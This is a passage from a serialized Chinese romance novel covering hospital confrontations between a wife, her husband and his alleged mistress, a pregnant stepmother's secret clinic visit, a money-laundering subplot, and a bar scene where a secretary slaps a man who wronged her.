她随手将手里的水杯搁在床头柜上,发出一声不轻不重的磕碰声。
“你们慢慢聊,我去趟超市买点东西。”江莹语气平静得没有任何起伏,“就不打扰你们一家三口团聚了。”
她说完转身,连一秒钟都不想多待。
“江莹!”
陆砚深眼底闪过一丝慌乱,像是怕她这一走就再也不会回来。
他从轩轩手里抽出手,一把抓住江莹的手腕,“买什么?这里什么都不缺。”
江莹被迫停下脚步,低头看着那只骨节泛白的手,轻笑了一声。
“我想吃好多鱼了,去买一包。”
她抬起头,目光停留在秦欣脸上,嘴角的笑意满是讽刺。
“再说了,我站在这儿多不合适。毕竟在法律上我还是你明媒正娶的妻子,我在这儿戳着,让小三如何自处?你看她可怜巴巴的样子,连上前都不敢。不知道的还以为我有多刻薄,竟然把她拿捏得这么听话。”
第143章 江莹把他卖了
这话像一记响亮的耳光,直接抽在秦欣的脸上。
秦欣当着陆砚深的面不能回怼,脸上带着些许难堪,眼泪挂在睫毛上,要落不落。
看着委屈得不行。
“莹莹,对不起,我……我知道我说什么你都不会高兴,这样你要是生气,我再给你转一千万。”她说完快速捂住嘴,眼珠子转转看向了陆砚深,“哦,你……你别误会,我给你转钱跟上次你要把砚深卖给我没关系,我就是知道你喜欢钱,所以……所以想让你高兴。”
江莹气的咬牙,转念想到不要白不要,抿唇冷笑,“行啊,你转吧,我就是喜欢钱。而且就算是你花两千万买陆砚深也是稳赚不赔。”
秦欣本来是想倒打一耙,没想到江莹就坡下驴,真就应下了。
陆砚深听到这话,眉头皱得更深,她找秦欣要一千万,要把自己卖了?
没等他问出口,轩轩转头看着江莹,小孩子不懂江莹话里的言外之意,听到“好多鱼”,小家伙眼睛一亮,乖巧地冲着江莹笑了起来,露出两颗小虎牙。
“阿姨,我也喜欢吃好多鱼!你能帮我也带一包吗?”
他骄傲地挺了挺小胸脯,大声补充道:“我爸爸会给你钱的,你放心,我爸爸有很多很多钱!只要是我喜欢的,爸爸都会给我。”
童言无忌,却字字诛心。
江莹看着眼前这个天真无邪的孩子,心里觉得悲哀,又觉得可笑。
她微微弯下腰,伸出纤细的手指,轻轻捏了捏轩轩软乎乎的脸颊。
她笑得很温柔,眼底却是一片冰冷。
“宝贝,你可不能吃‘好多鱼’。在这个病房里,你一点都不多余。”
江莹直起身,目光越过孩子,直直刺向秦欣那张发白的脸。
“你可是你妈手里,最重要的一张牌呢。”
秦欣的身体晃了晃,似乎受了天大的委屈。
她咬着下唇,委屈道:“莹莹,你别误会。我跟砚深真的不是你想的那样。我从来没有想过要破坏你们的婚姻,也没有想过要跟你抢砚深。我就是听说他遇到了危险,一时担心才控制不住自己。”
她走到儿子跟前,低头摸了摸他的头,眼泪恰到好处地滑落。
“孩子也是好几天没见他,在家里一直跟我闹。轩轩从小没有亲生父亲,他太缺乏安全感,比较依赖砚深……”
“闭嘴吧。”江莹冷冷地睨了她一眼,直接打断她的表演,“你儿子年纪小,说什么都有人信。但你说的话,你觉得别人会信吗?”
江莹冷眼看着秦欣那副绿茶脸,胃里一阵翻江倒海。
“好好的秦家千金不做,非要低贱地去做**和戏子。偏偏还学艺不精,婊里婊气得在这儿演深情戏,你演得不累,我看着却觉得恶心。”
江莹用力挣脱陆砚深的手,冷眼看着病床上脸色惨白的男人。
“陆总,管好你的人。下次再来恶心我,我保证陆氏集团明天的头条,比今天的年会视频还要精彩。”
陆氏总裁婚内出轨,秦氏千金非婚生子,这将多劲爆。
丢下这话,江莹直接离开。
病房里,陆砚深冷冷看了一眼秦欣,眼底压着怒气,但碍于孩子在场,他并没有发飙,而是再次冷声重申,“秦欣,这是我最后一次容忍你。”
秦欣辩解,“砚深,我是真不知道江莹在,要不然我也不会带轩轩来。”
陆砚深明确警告过她,不能让孩子在过多人面前露面,自从上次在陆家人面前承认自己有个孩子,秦欣越来越过分,甚至带着孩子去了陆家老宅。
三叔几次变着法问孩子是不是他的。
陆砚深不想让孩子被人盯上,对他的成长没有好处,偏偏秦欣到处招摇。
“爸爸,你是不是生气了?轩轩是不是不该来医院?妈妈说,轩轩要懂事,等着爸爸就好,但我就是很想爸爸。”
孩子虽小,但也能看出大人的情绪,陆砚深从未在轩轩面前用这样的语气说话,他以为自己控制得很好,没醒到轩轩还是感受到了大人的情绪。
他不忍心让孩子难过,抬手抚摸孩子的头,安抚:“爸爸没有生气,轩轩想爸爸可以给爸
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爸打电话,等爸爸病好就会去看你。”
房间的气氛稍微缓和,秦欣暗骂宋瑾修,自己没有本事追女人,让她带着孩子来给他助阵,世上怎么会有这种男人。
江莹出了医院,并没有走远,不管怎么说,自己是签了协议的。
但怎么想心里怎么不爽,直接给秦欣发了消息:秦小姐,钱尽快转过来,你可是当着陆砚深面说的,耍赖的话,挑拨离间就太明显,我要是在陆砚深面前添油加醋说点什么,你怕是不好过。
不到十分钟,秦欣发了消息:等回去就给你转。
江莹心里这下舒服了,刚出了住院部,经过门诊大楼时看到一个全副武装的女人。
她想这女人是来看病还是来做贼,把自己无那么严,生怕别人不注意她。
她正这么想,那女人摘了墨镜回头催促身后的男人,“停个车这么慢,万一被人看到。”
男人快步上前,搂住她的腰,“那么有那么巧就被人看到了。再说了,你都捂成这个样子了,谁还能认出你。”
江莹看到那女人的眼睛,瞬间顿住脚步,唐玉?
她鬼鬼祟祟跟一个男人一起来医院做什么?
隐隐觉得事情不正常,她悄悄跟了上去。
看到他们直接进了电梯,然后停在四楼,江莹快速进了另一部电梯。
四楼她熟悉,是妇产科。
唐玉来妇产科是看朋友?看朋友需要包那么严实?
若不是对唐玉那双狐媚眼太熟悉,连她都差点没有认出来。
江莹到了四楼,找护士要了个口罩,然后混在候诊区时不时张望,这人应该是进了诊室,并没有看到唐玉人。
进了诊室,说明不是来看朋友的,再说了若真的是朋友病了,应该在病房,怎么到门诊来了?
还有那个男人,看起来比唐玉要小一些,他到底是谁?
左思右想之后,江莹看了眼旁边的孕妇,又看周围没有人小声跟人聊了起来。
“姐姐,能不能帮我个忙?”
孕妇看她一眼,面带疑惑,“什么忙?”
第144章 后妈怀孕了
“这样的姐姐,我刚看到我后妈进来,他身边跟着一个男人,看年纪比我爸小不少。等会儿她出来你能不能帮我问问,她为什么来看妇产科?”
“你有病吧?”
孕妇看着江莹,像看一个傻子。
她瞥了江莹一眼,就要走人。
江莹扯住她,压低声音急切道:“姐姐,帮帮我,我爸因为我后妈把我赶出了家,还霸占我外公的公司和我家,平时也一分钱不给我。这几年我有家不能回,回去就要被我后妈打。姐姐,你帮帮我,我不会让你白帮,我给你一万块钱。我家有钱,所以我怕我爸被我后妈骗,花那么多钱养着她,她却在外面给他戴绿帽子,还生别人的孩子。”
她越说越委屈,眼泪都滴滴往下掉,情真意切。
孕妇听得心软,“你这说的还挺可怜。”
“姐姐,我说的都是实话,我们家这种事,在有点钱的家庭很常见,你帮我也是积德行善,就装作搭讪问一句就行。”
看孕妇还有点犹豫,江莹直接掏出手机,“姐姐,收款码给我,我给你转钱,等宝宝出生了,你帮我给宝宝买个平安锁,保佑宝宝平安健康。”
那孕妇看江莹不像说谎,犹豫了一瞬后拿出手机。
江莹刚转完钱,看到唐玉从六号诊室出来。
“姐姐,我后妈出来了,麻烦你帮忙问一下,拜托了!”
孕妇点头,起身后朝着唐玉所在方向走了过去。
江莹戴好口罩低着头,降低存在感。
孕妇装作没有看到唐玉,低头拧开自己的水杯,装作要去接水的架势。
在唐玉走过来时,她碰了上去,但动作不算大。
“哎哟!”
唐玉医生低声叫了一句,她前面拿着手机边走边看的男人赶忙回头。
看到唐玉被撞,直接吼道:“你怎么走路的?”
孕妇连连道歉,“对不起大姐,我这拧杯子没有注意到你,没事吧?”
唐玉下意识抬手抚在自己小腹上,“吓死我了。”
“大姐,你是不是怀孕了?不好意思哈,惊到你了。看年纪你应该属于高龄产妇,一定要小心。”
唐玉深吸一口气,缓了缓情绪,“我没事,你走路小心点,别再撞到人。”
她说完正要走,又问了孕妇一句,“B超在几楼?”
孕妇连忙答道:“在二楼,你真的没事吗,要不要坐下缓一下?”
唐玉摆摆头,“我没事,谢谢!”
孕妇视线落在她手里的检查单上,是孕早期B超检查单。
唐玉跟着男人离开,完全没有注意到,躲在角落里的江莹偷偷拿着手机记录了整个过程。
当然还有那个男人的脸。
孕妇回来在江莹身边坐下,“姑娘,你后妈确实怀孕了。”
江莹收起手机,心里说不出的滋味,勉强扯出一抹笑道谢:“谢谢姐姐,辛苦了!”
她出了门诊大楼,在住院楼后面的亭子里坐下。
阳光不错,照在身上暖洋洋的。
但温暖的阳光却照不进心里,凌乱的生活让她厌倦。
张启明为了唐玉,在母亲昏迷三个月后直接将人接到了家里,他若是想到他捧在手心里的女人,背着他有了别人的孩子,是不是得疯?
因果报应,外公的事和车祸虽然没有实证,但江莹心里认定张启明绝不无辜。整件事最大的受益人就是张启明,除了他还能有谁?
厌倦归厌倦,但血海深仇不能不报,这件事她要好好利用一下,狗与狗咬起来,或许会有收获。
想到这里,江莹给表姐打了电话,把这件事得告诉小娄。
他现在被人盯上,但不代表他的路子就被堵了。
电话接通,江莹跟表姐说了两句,电话就转到了小娄手上。
“江小姐,从我的观察,找我的人有两拨,一拨应该是知道我在查三年前的车祸,另一拨我就不肯定了。”
江莹今天听陆砚深说那个犯人不是他安排转监的,会不会是他也在找小娄,以为小娄跟转走那个那个**的人是一伙的?
“另一拨人我怀疑是我丈夫安排的,这里面有件事,我没有跟你说,等我确认之后我再跟你解释。现在我想跟你说一下,张启明的情人唐玉,他怀孕了孩子应该不是张启明的,我拍了视频等会儿发给你,你看这件事该怎么做?”
对方陷入一阵沉思,几秒钟后,小娄开口,“先别急,我先查清楚那个男人是谁,我们再
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下结论。”
“行,你注意安全。”
挂了电话,江莹看了看时间,将近四点,等下会越坐越冷,她已经够大度,给了他们这么长的团聚时间。
总不能为了让三姐和私生子高兴,让自己受冻,影响到自己的宝宝。
还有就是她需要去问一下陆砚深是不是他排的人。如果真不是他做的,或许陆砚深的资源可以利用一下,尽快帮小娄解除危险。
江莹起身去医院旁边的小超市真买了好多鱼,而且买了三包。
她回到病房时,病房里静悄悄的,只有陆砚深躺着,他眉头紧锁,一脸隐忍。
正在打电话,“股票跌停他们不出手,应该是想等明天开盘,开始砸。所以,今晚把消息放出去。”
陆砚深挂了电话眉头依旧紧紧蹙着。
江莹只当他是疼的,加上公司的事心烦,也没有搭理他,拿了一个苹果去卫生间洗。
哗哗的水流声,让本就忍得发痛的男人,差点就忍不住了。
好不容易捱到江莹洗完苹果出来,他低沉开口,“江莹,我要尿尿。”
江莹刚咬了一口苹果,听到他这话愣了一瞬,差点脱口说,“要尿你尿啊”。
她意识到狗东西眉头皱这么紧,原来是憋得不行,不是疼的,心里莫名爽了。
江莹没有说话,直接转身去了卫生间。
陆砚深心里缓了口气,心想老婆还是不错的没有嫌弃他,愿意给他拿尿壶。
下一秒,卫生间再次传来哗啦啦的水流声。
陆砚深倒抽一口凉气,咬紧了牙关。
江莹从里面走出来,站在病房中间,慢悠悠啃着苹果,看着陆砚深不怀好意地笑着。
陆砚深的手紧紧攥着床单,咬牙开口,“江莹,你……”
江莹没有搭理他,看着他皱眉隐忍,很不地道地笑了。
“你恶心谁呢,你小心肝在时你不尿,我一回来你就要尿,我是你答应了你受伤期间在你身边,可没说这事也要伺候你。”
陆砚深是真没有想到江莹会这么整他,卫生间的水声刺激着他的感官,让他忍得更加辛苦。
“你把水关了。”
江莹眼珠子转转,“那你回答我一个问题。”
第145章 憋死你算了
“问。”陆砚深气不打一处来,声音带着浓浓的气。
江莹不跟他转弯抹角,直接开门见山,“你是不是在找一个人,那个人去过第四监狱。”
陆砚深隐忍的眼底布上一层疑惑,“你怎么知道?”
“还真是你的人。”
陆砚深深吸一口气,缓解自己的已经过负荷的膀胱,“目前没有查到是谁把人转走的,只知道有人去监狱打听过犯人的情况,所以要找到他,或许跟幕后的人有关系。”
江莹咽下嘴里的苹果,去关了卫生间的水龙头,“让你的人停止找他,他不是你要找的幕后之人。”
“那人是你安排的?”
“是,”江莹并不隐瞒,“舅妈临死前说舅舅怀疑我外公的死不正常,所以我找了**查这件事。”
陆砚深皱眉看着她,神色复杂,“这么大的事你怎么不跟我说?”
“没有证据跟你说什么,就说我怀疑?”江莹笑了笑,“再说了,你跟我即将离婚的关系,没有必要跟你说吧。”
“那你想不想知道我查到的情况?”陆砚深已经快憋不住了,但这会儿看着她故作轻松。
“你查到了什么?”
陆砚深说过,他在查张启明,会查到结果,江莹一点都不意外。
“先让我解决生理需求,等下慢慢跟你说。”
狗男人声音坦然,江莹都要被他气笑了,原来是在这儿瞪着她呢。
但让他别一会儿惩罚一下也就行了,总不能真看着他尿床吧?
江莹瞪了他一眼,把手里的苹果放下,转身去卫生间拿尿壶。
她把尿壶递给陆砚深,自觉往后退了两步。
“你不帮我?”
男人暗哑的声音,让江莹一顿,脸上神色有些微妙,这要怎么帮?
狗东西像是看穿了她的心思,“你是没用过,还是没看过,这会儿害羞是不是有点矫情?”
这话让江莹想起,陆砚深喝醉那次,他满身酒气回家,江莹窝在沙发上等他。
看到他回来,江莹就扑了过去,本来是想抱他,结果狗东西直接趴她身上,搂着她上楼就往床上躺。
江莹嫌他身上酒味儿重,坚持给他洗澡。
好不容易将人弄到浴室,这人站都站不稳,更别说自己洗澡。
在她要放弃时,这人又开始犯倔,非要洗澡,还拉着她的手在自己身上乱摸。
“你帮我洗。”
江莹被他说得脸颊发烫,伸手推他的肩时,力道都不自觉放轻:“陆砚深,你少耍无赖!”
男人本就身子虚,借着她这轻轻一推,竟顺势往她怀里靠,脑袋抵在她颈窝,温热的气息裹着清洌的酒味,蹭得她肌肤发麻。
“我动不了,莹莹,帮我。”他声音发软,带着从未有过的温情。
江莹咬了咬唇,眼底的羞赧里藏着化不开的温柔,她根本就抗拒不了
她别扭地伸手想去解他的衬衫,心脏砰砰直跳。刚解开衬衣的扣子,伸手触碰到他的皮带扣,手腕被他反手扣住,掌心的滚烫透过肌肤传过来,力道轻柔,却蛊惑人心。
“松手别闹,你拉着我的手,怎么帮你洗澡。”
江莹的声音软得能滴水,抬头时,睫毛轻轻颤动,眼底的爱意藏不住。
陆砚深没说话,只赖在她身侧,借着她的力道慢慢起身,眼底满是沉醉的慵懒,还有绯红的耳尖。
他突然低头,发狠一样吻她,急促,炙热!
让江莹瞬间沦陷,是她渴望已久的温度,不是那个任她撩拨最终才反客为主的陆砚深。
下一秒,不知道是谁碰到了花洒开关,温热的水兜头而下,却没有打断两人越吻越深的动作。
到最后,江莹都分不清是自己醉了,还是他醉了。
只记得,那晚从卫生间到上床时,陆砚深疯得很。
想到那个凌乱的夜晚,江莹莫名口干舌燥,脸上都透着一层粉红色。
看到某人正好整以暇地看着她,江莹脸上更热。
“想什么呢,那么入神,我告诉你少儿不宜的画面少想,现在满足不了你,想多了上火。”
江莹心里暗骂自己怎么就想到了那晚的事,真没出
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息,关键是还没有狗男人看穿。
她咬牙,“憋死你算了。”
老天爷不开眼,怎么就给了他开口说话的能力,好好一张嘴,偏偏不会好好说话。
“这一招行不通。”陆砚深眉间含笑,“快点,再不帮忙等会儿尿裤子了还得你收拾,想分我的钱,哪能一点都不付出。”
江莹胸口憋着一口恶气,气鼓鼓地上前,“我扶着,你自己脱裤子。”
陆砚深不敢再耽搁,只说:“你看着点,别错位了。”
江莹想笑,狗男人说话还挺讲究,错位?
直接说尿不进去很丢人吗?
处理完,江莹盯着他,等着他主动交代,结果这人爽完就开始半眯着眼,这会儿干脆闭上了眼。
江莹抬脚踢了一下病床,“陆砚深,你装死是吧?”
“我怎么了,我受这么重的伤,不应该多休息吗?”
“你不说是吧?”江莹瞪了他一眼,坐回到沙发也闭上了眼,“行,有本事你就只尿这一次。”
陆砚深没有说话,他没有那么多精力,而且腹部确实疼。
江莹看他药已经打完,心里也放松了,渐渐有了睡意。
傍晚,两人都沉睡之际,一阵敲门声将两人吵醒。
江莹揉了揉眼睛从沙发上坐了起来,看到李律师进来她起身。
“陆总、太太。”他说着把手里的东西递给江莹,“太太,这是陆总吩咐我拿过来的,你看一下。”
江莹转头看了一眼陆砚深,他脸色似乎好了一点点。
她接过文件示意李律师坐。
当她打开文件看到里面的内容,有些傻眼。
“李律师,这是什么意思?”
李律师开口解释,“目前我查到,**的资金其实都不在张启明手里,已经被唐玉转了出去。”
“张启明不知情吗?”
“他知道。”
“知道?”
江莹跟想不通了,张启明爱财如命,怎么可能在知道的情况下同意唐玉把钱都转出去?
那……那个男人,张启明知道他的存在吗?
第146章 怎么爽怎么来
“目前,我们能查到的是唐玉把钱都转给了一个国外账户,账户的信息,我们没有权限追查。”
李律师是陆氏的首席法律顾问,他的手段和渠道,不是一般人能比的,包括**小娄。
转到了国外?
江莹做梦也没有想到,自己公司的钱竟然都被人转走了,张启明在某种程度上来说并没有撒谎,他是真的没有钱。
“李律师,这件事是从什么时候开始的?”
江莹隐隐抱着一丝幻想,仿佛不想承认人性有那么恶毒。
李律师并不知道她的心思,如实相告,“你和陆总结婚半年后开始的。”
陆砚深觉得事情并不简单,从他得知账户在海外就觉得事情有些怪异。
许振清的事,是在他跟江莹结婚后的第二个月,**最后也是海外的账户。
都跟海外账户挂钩,偏偏到了海外账户这一步所有线索都断了线,不知道这其中是否有联系。
李律师看江莹不说话,叹了口气道:“太太,目前来看,拿回**并不难,但想要查清楚背后的事,现在还不易动**。”
这话他跟陆砚深也说过,但不拿回来,就意味着还会有钱被转出去。
“不急,将近四年的时间都浪费了,不在乎多等几个月。”江莹神色笃定,“李律师,辛苦你了,我给你推荐个人,他手里有一些别的证据,你抽空去找他一下,或许会有别的发现。”
李律师点头,“行,明天我就去一趟。”
“辛苦了!”
李律师要走时,看向陆砚深,“陆总,好好休息,你已经很久没有好好睡个觉,就当给自己放假了。”
“你会不会说话,管着叫休假?”
李律师比陆砚深年长两岁,跟在他身边很多年了,早就习惯了他的说话方式,笑道:“反正你也不能动,何必不往好的方向想。”
“哦,对了,陆副总那边的事不严重,但那次太太在工地出事,他应该是被人算计了,或者说是有人想要拉拢他。”
“你盯着他,背后的人若是盯着陆氏,三叔是一块很好的敲门砖。”
李律师颇为认同地点头,“你安心养伤,我既然知道了有这么一个人,我们加紧防范,出不了大乱子。”
江莹突然觉得自己好像在一张网里,不知道对方想干什么,但已经层层将她困在里面。
李律师走后,陆砚深看她不说话,开口:“想什么呢?饿不饿?”
江莹回神,“陆砚深,背后搞你的人和搞**的会不会是同一个人?”
陆砚深提了一口气,“不管是不是,这件事你不能一个人调查,若是你外公的死,还有三年前的车祸都是人为,一旦对方知道你在调查,你有没有想过自己的处境。”
江莹没有说话,她承认,自己确实想得太简单了。
以至于,晚饭时,她都有些心不在焉。
“后天就是除夕,我受伤的事,爷爷奶奶还不知情,让姑姑跟他们说我们出国度假了,你别说漏嘴。”
马上要过年,这还是第一次在医院过年,难怪陆家人都没有来医院。
这两天应该是家里最忙的。
第二天一早,梁玥正收拾东西,准备吃过午饭去看看江莹就回家过年。
这两天在公司里她跟沈斯阳默契地避开彼此,过得挺悠闲。
之所以说默契,主要是沈斯阳之前有事没事就叫她,喜欢奴役她。
自从两人睡过之后,这家伙再也不叫她干这干那,以至于这两天梁玥闲得都不适应。
她刚收拾好,拉上行李箱,手机响了起来。
看打到“贱男”两个字,心里咯噔了一下。
这个点,这人找她干什么?
本着站好最后一班岗的原则,梁玥接通电话。
“喂!”
“你来一趟野玫瑰。”
“野玫瑰?”
梁玥不明所以,大白天上去酒吧干什么,他听着也不想醉了。
再说了,野玫瑰在江北风评不是很好,听说里面有不正当交易,这人品味怎么越来越低俗了,竟然跑到那边去。
“对,赶紧来,找到张斌那孙子了。”
梁玥听到张斌两个字,瞬间挺直了腰杆,“等着,马上到。”
这孙子她找了几天,人影都没有,应该是怕沈斯阳躲了起来,这是要过年了出来作妖。
二十分钟后,梁玥到野玫瑰酒吧。
上午十点半,按说酒吧没什么人,但因为要过年,出来玩儿的人还不少。
沈斯阳倚在车门前,等着她。
看到梁玥,他挑眉问:“你想不想让他坐牢?”
这个问题梁玥想过,所以毫不迟疑回答,“他毕竟是江莹的堂哥,若是让他坐牢还指不定张启明怎为难江莹呢?今天出出气吧,私了吧。”
沈斯阳点头,“既然这样,那就怎么爽怎么来,走会会他。”
梁玥看他痞坏痞坏的样子,眸色沉了沉。
这时,他车后面两辆奔驰商务车,哗啦一声前后下
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来六个人。
一行人浩浩荡荡进了酒吧。
保安看着气势汹汹的一群人,顿时胆战心惊。
沈斯阳目不斜视,“张斌在哪个房间?”
“六……六零八。”
“谢谢!”
“先生,我们这里不能打架**。”
保安被他的气势吓到,但在其位谋其政,还是壮着胆子提醒。
沈斯阳对着身后的保镖挥了挥手。
后面迅速上来四名保镖,直接将门口的保安拦在身后。
沈斯阳带着两名保镖和梁玥直接去了六零八包间。
包间的门紧闭着,外围紧张的氛围根本就没有影响到门内的人。
沈斯阳在梁玥身边轻声道,“等会儿看你大展身手,我还不知道你到底有多能打。”
沈斯阳推了推门,锁了。
“**,大白天的锁门?”
沈斯阳一脚踹了上去,里面衣衫不整的男女瞬间兵荒马乱。
“哎哟,小张总,好雅兴啊!这大白天的,你也不怕自己身体吃不消?”
沈斯阳没有想到开门就碰到这么一幕,他还以为张斌昨晚在这里喝多,这会儿还没醒。
女人慌了一瞬后,驾轻就熟地穿上自己的衣服,看了一眼沈斯阳,眼睛里满是媚态。
其实她刚刚慌,怕的是警察。
“滚出去。”
沈斯阳对于她此刻没皮没脸的浪样,忍受不了一点。
女人裹了裹身上的衣服直接离开。
沈斯阳拿着手机开始打视频电话,揍人的事交给梁玥,他要做的就是断了他逍遥快活的后路。
张斌慌忙整理着衣服,梁玥被沈斯阳挡在身后什么也没有看到。
“沈总,你怎么来了,有事你让助理打个电话我直接过去多好,怎么好意思劳你大驾?”
沈斯阳皮笑肉不笑,“打个电话你敢去吗?知道小张总胆子小,我只好就勉为其难跑一趟了。”
张斌狼狈地整理着衣服,衬衫上的扣上怎么都扣不上,手哆嗦得像得了不治之症。
梁玥从沈斯阳身后探出头,看着张斌的怂样冷笑,“小张总,就你这小身板,跟个白斩鸡一样,怎么还能这么大的需求,也不怕自己太能折腾,早早小命就玩儿完了。”
张斌自然知道他们来干嘛,心虚理亏,这会儿看着梁玥呵呵直笑,“梁小姐见笑了,见笑了。”
他说着扯住裤子往自己下面盖。
沈斯阳也连忙将人往身后扒拉,生怕她看到不该看的。
第147章 到你报仇的时候了
张斌看着沈斯阳,点头哈腰,极近谄媚:“沈总,你看……我这……要不您先收了手机。”
沈斯阳睨了他一眼,“你穿你的,我打我的,碍着你了?”
张启明正陪儿子玩儿,看到沈斯阳的电话,愣了一瞬。
这个电话是前天沈斯阳主动加他的,当时他还开心的不行,连个给他发了好几天信息大招呼,结果这人理都不理他。
他一直好奇怎么突然加他,没想到这个时候给他打来视频电话。
这时门口**的人不少,一个个看热闹的往里瞅,张斌坐着不敢动,生怕一不小心就走光,
视频接通,张启明乐呵呵道:“沈总……”
下一秒,声音戛然而止。
“张总,劳烦你看看这是不是你们家的人。”
张启明回神,“张斌?你干什么呢?”
张斌低垂着头,恨不得钻地缝。
沈斯阳笑着他狼狈的样子,勾唇笑道:“张总,小张总大早上都能提枪上阵,我怀疑你们**是不是改行开发**了。张总,晚来得子宝刀未老,该不会也是吃了自家研发的药?若是你现在也这么利害,那恭喜咯,**能进世界五百强。”
张启明老脸被他说的红了白,白了青。
张斌是这里的常客,门口议论纷纷的人,其中不乏认识他的,这会儿张斌坐在里面直抖。
梁玥看不到热闹,一把将沈斯阳拨开,“跟他们废什么话,把人给我摁了。”
沈斯阳抬了抬手,身后的保镖直接上前,将张斌按住。
结果在他挣扎的过程中,裤子掉了下来,梁玥还没有反应过来,沈斯阳一个健步直接把梁玥扯了过来。
手机里的张启明直接骂了起来,“张斌,你个不争气的东西。”
梁玥被沈斯阳扯的踉跄,直接撞到他怀里。
沈斯阳嘴巴落在她额头,梁玥意识到什么,想要推开他,却被他死死抱着。
“帮小张总把裤子穿上。”
两个保镖上前,顾不上什么内裤,直接把裤子给张斌套上。
“张总,今天不是单纯让你看热闹,张斌做过什么你回去好好问,之所以现在给你打电话,就是通知你,在江北不会再有张斌这个人。你们张家管不了,我出手替你管了,砚深那边我自会解释。”
沈斯阳说完直接挂断视频,看到梁玥耳边那抹嫣红,心里莫名一紧。
垂眸看着梁玥,不由地想起那晚她双腿有力的勾着他的腰。
“你放开我。”梁玥挣扎。
“等一下,你一个女孩子,能不能不要那么虎?”
梁玥脑子里猛然想到刚刚似乎看到了张斌的大白屁股,瞬间脸红。
“沈总,好了。”
保镖说话,两人回神。
“咳”沈斯阳清了清嗓子,“去吧,到你报仇的时候了。”
梁玥抬眸看了他一眼,咬唇转身,“给我按住他。”
她一发话,两个保镖直接摁住张斌。
张斌被保镖按着跪在地上,连连求饶,“沈总,沈总,我错了,你看在我妹夫的面上,饶了我吧,我再也不敢了。我……我真不知道她是你的女人。”
沈斯阳听着这话,莫名高兴,抬手点了根烟,饶有兴致看着梁玥的背影。
“你少放屁,老娘谁的人都不是,但不妨碍见天要收拾你。”
梁玥迈步上前,对着那张让人厌恶的脸一阵猛扇。
动作连贯如行云流水,没有丝毫迟疑。
“梁玥,你……你敢这么对我,你是不是活腻了?”
“我活腻了还是你活腻了?”他越叫,梁玥打得越重,脸上杀气腾腾,“也不看看你算个什么东西,以前看在江莹的面子上不屑搭理你,竟然把手伸到姑奶**上。”
梁玥边打边骂,左右开弓,疾风骤雨般狂乱的巴掌不停地落下,打得张斌眼前一阵阵发黑,嘴角很快破裂,整张脸肿得跟猪头一样。
沈斯阳挑挑眉,小丫头虎虎生风,手不疼吗?
整整二十巴掌,又快又狠,毫不拖泥带水。
打完甩甩手,咬牙道:“打这么个畜牲,搞得手疼,不值。”
“你自己非要打,让他们打多好,力气比你还大。”
“沈斯阳,你欺人太甚了?”
张斌脸已经肿得看不出原样,两边嘴角渗着血,说话都不利索。
沈斯阳冷笑,眼神不屑,“我就欺负你了,你能把我怎么
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着?”
梁玥不想跟他废话,一脚踹在他大腿上,“我警告你,以后别让我看到你,要不然,见你一次打你一次。还有,再敢为难江莹,我直接阉了你。”
张斌听她这么说,这会儿死猪不怕开水烫,大着胆子讥笑道:“梁玥,你不应该感谢我吗?要不然你怎么上得了沈总的床,你若不是成为了他的女人,今天能有这种气派?”
沈斯阳邪魅一笑,舌尖顶着嘴角抬步就住前走。
“知道是我的女人,还敢这么跟她说话,”沈斯勾唇道,“小张总,她可以让你做牢,我可以直接废了你。”
张斌再不服气,也不敢再开口,他缩了缩肩膀,畏畏缩缩看着沈斯阳,“沈总,息怒,我……我保证会记住今天的教训,您别跟我一般见识。”
“别让我在江北再看到你。”沈斯阳咬咬牙,转脸看向梁玥,“走啦!”
梁玥有些呆,不明白自己怎么就成了沈斯阳的女人?
这狗东西说的那么顺嘴,这要是传出去,她还怎么在公司混?
睡了自己老板,好像确实不好混,看来得找个时间赶紧撤了。
沈斯阳见她愣着,一直跟在旁边的助理也呆呆地,走上前扯住梁玥的手,抬腿给了助理一脚,然后拉着人往外走。
助理反应过来跟着离开,看老板拉着梁玥,摇了摇头。
心里开始有些担心,他家老板的秘书最终都走上了这条路,但没有一个走到最后的。
而且梁秘书跟之前那些相比,条件并不优越,光身材就不怎么占优势。
唯一的优势应该就是嘴了,够毒,也敢怼,而且老板似乎挺乐意被她怼。
前几任秘书都没有跟他满一年的,也不知道这孙秘书能抓住老板多久。
希望老板这次的新鲜劲儿持久一些,要不然找秘书的事他还得头疼。
梁玥被他抓着,根本没有注意到她已经被沈斯阳带进了自己车里。
上车后,沈斯阳看梁玥若有所思,低声问道,“手没事吧?”
“哦,没事。”
梁玥在他微微靠近的瞬间往车门处挪了挪,她可不想再加深误会,跟这根烂黄瓜还是保持距离的好。
第148章 放视频的人查到了
沈斯阳对她这个刻意避开的动作莫名不爽。
心想,这人太没良心了,刚给她撑腰,用完就扔。
“你…什么时候回来?”
梁玥听到这话开始皱眉,刚放假,人还没走就问她什么时候回来,还有比他更黑心的资本家吗?
心里这么想,嘴上还是留了情,故作轻松的笑了下,“肯定不会错过开工红包。”
沈斯阳:“……”
在她心里钱是第一位。
转念又想到自己问的有点傻叉,好像希望她早点回来一样。
车子开出去一段距离,梁玥反应过来,急忙叫了起来,“停停停,我……我开了车来的。”
跟着狗东西应酬习惯,一时没反应过来,直接就跟着他上了车。
平时也就算了,下午她可是要开车回家过年的。
沈斯阳没忘了这一茬,习惯性带着她,忘了她今天是自己过来的。
“就你那小破车,扔路上都没有要,跟我一起去医院看看陆砚深死没死。”
听他说自己的小破车,梁玥恨得牙痒。转而听见他后半句话,心里舒服了一点。
“沈总,麻烦送我回去,我自己开车去医院。”
虽然目的地相同,但她不想再重返回来,医院到这里太远,耽误她回家。
沈斯阳看了看她,伸手,“我让人给你开回去,车钥匙给我。”
梁玥看着这人不容拒绝的架势,纠结一瞬后乖乖拿出车钥匙。
“我帮你报了仇,是不是应该请我吃顿饭?”
梁玥:“……”
这要求,似乎合情合理!
“可以,但我穷人穷命,自己花钱吃饭只有牛肉面。”
沈斯阳难得没有嘴毒,好说话的点头,“可以,好久没吃过了。”
车里沉默了一瞬,梁玥终究没有抵过心里的好奇,“你跟陆砚深不是好的可以穿一条裤子,他受伤你到现在才去看?”
沈斯阳扫了她一眼,“我去了他会生气,不去是成全,他巴不得我不去。”
梁玥皱眉,小声嘟囔,“什么遇逻辑。”
沈斯阳勾唇心想这都理解不了是怎么写剧本的,感情这么迟钝能写出爆款也是奇迹。
转态想到那个嘴硬的人,暗叹也不能怪他们家小编剧,那狗东西心思藏的深,还嘴硬不承认,若不是足够了解,他也一直被蒙在鼓里呢。
得找个机会问问他跟秦砍到底怎么回事。
“捅陆砚深的是谁?他身边不是有保镖吗?怎么还会有人捅得了他。”
